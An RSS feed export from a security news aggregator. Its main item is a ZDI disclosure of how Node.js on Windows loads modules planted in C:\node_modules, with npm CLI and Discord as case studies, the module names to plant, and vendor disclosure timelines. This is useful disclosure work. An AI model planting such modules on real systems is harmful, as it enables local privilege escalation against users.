<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=sistema+archivos+nodejs%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 09:40:08 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 09:40:08 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=sistema+archivos+nodejs%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=sistema+archivos+nodejs%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds-base, c-ares, dovecot, freerdp, glib2, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, kernel, kernel-rt, nodejs:22, perl-XML-LibXML, webkit2gtk3, and yggdrasil), Debian (kernel, nss, roundcube, rtpengine, and xz-utils), Fedora ...]]></description>
<link>https://tsecurity.de/de/3686772/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686772/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 22 Jul 2026 17:09:17 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds-base, c-ares, dovecot, freerdp, glib2, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, kernel, kernel-rt, nodejs:22, perl-XML-LibXML, webkit2gtk3, and yggdrasil), <b>Debian</b> (kernel, nss, roundcube, rtpengine, and xz-utils), <b>Fedora</b> (btrbk, kernel, mupdf, nuclei, perl-Crypt-OpenSSL-X509, rust-fern, rust-ifcfg-devname, rust-routinator, rust-rpki, and rust-syslog), <b>Mageia</b> (tig), <b>Oracle</b> (.NET 10.0, .NET 8.0, .NET 9.0, acl, dovecot, glib2, httpd, libtiff, pacemaker, perl-IO-Compress, plexus-utils, python3, and webkit2gtk3), <b>Slackware</b> (libssh and mozilla-firefox), <b>SUSE</b> (acl, avahi, aws-nitro-enclaves-cli, beets, chromium, firefox, go1.25-openssl, ImageMagick, iscsiuio, kernel, kubevirt1.8-container-disk, libgit2-1_9, libkrun, libsoup-3_0-0, nghttp2, opam, php7, python-aiohttp, python-tornado6, and vim), and <b>Ubuntu</b> (accountsservice, CUPS, imagemagick, jbig2dec, openssh, and snapd).]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens CADRA]]></title>
<description><![CDATA[View CSAF
Summary
CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not y...]]></description>
<link>https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens CADRA are affected:</p>
<ul>
<li>CADRA vers:intdot/&lt;2511, vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
